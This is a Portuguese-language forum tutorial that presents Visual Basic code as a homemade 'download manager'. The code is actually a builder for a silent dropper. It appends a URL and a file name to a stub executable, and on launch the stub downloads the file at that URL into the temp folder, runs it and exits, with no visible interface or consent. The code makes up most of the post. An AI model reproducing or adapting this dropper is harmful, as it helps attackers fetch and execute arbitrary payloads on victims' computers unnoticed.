Forum ViSiBLe

Bem Vindo
Se registrares neste fórum, podes fazer parte da nossa comunidade.Prezamos aqui pela participação ACTIVA de cada membro.


Atençao: Nao precisa Confirma a sua conta no hotmail (Basta Registrar e Começar a participar do forum.)

WWW.FORUMVISIBLE.COM

Temos vagas na STAFF !! Clique Aqui!

[Tutorial] Download manager como fazer seu propio

Compartilhe
avatar
MrViSiBLe
Administrador
Administrador

Número de Mensagens : 3778
Idade : 24
Localização : Cuiaba
Agradecimentos Agradecimentos : 864
Data de inscrição : 10/12/2008

[Tutorial] Download manager como fazer seu propio

Mensagem por MrViSiBLe em 7/20/2010, 21:47

Ola a todos novamente!

Nesse tutorial! eu vou ensinar a voces, como podemos criar um download manager!

nesse caso eu so usei (exe), pode podera modificar ele de acordo com as suas ideias! podendo colocar (mp3), (ipa) , (zip) ....


------------
abra se o visual basic 2008 e nele se crie


-2 text box
-1 Button
-2 labels




Código:

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim FileSplit As String = "(CopyBoT)"
Dim Sfd As New SaveFileDialog

Dim SaveFileName As String

Sfd.Filter = "*.Exe | *.Exe"

If Sfd.ShowDialog = Windows.Forms.DialogResult.OK Then SaveFileName = Sfd.FileName _
Else Exit Sub


Try
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, _
OpenAccess.Read, OpenShare.Default)
Dim Stub As String = Space(LOF(1))
FileGet(1, Stub)
FileClose(1)
FileOpen(2, SaveFileName, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
FilePut(2, Stub & FileSplit & TextBox1.Text & FileSplit & TextBox2.Text)

FileClose(2)
MessageBox.Show("The file was built!")
Catch ex As Exception

MessageBox.Show("There was an error!" & vbNewLine & ex.ToString)
End Try
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim FileSplit As String = "(CopyBoT)"
Dim Options() As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
Dim F As String = Space(LOF(1))
FileGet(1, F)
FileClose(1)
Options = Split(F, FileSplit)
Dim urllink As String = Options(1)
Dim TEMP As String = System.IO.Path.GetTempPath
Dim file As String = TEMP & Options(2) & ".exe"
My.Computer.Network.DownloadFile(urllink, file)
Process.Start(file)

Me.Close()
End Sub
End Class

pronto Wink

    Data/hora atual: 9/25/2017, 05:30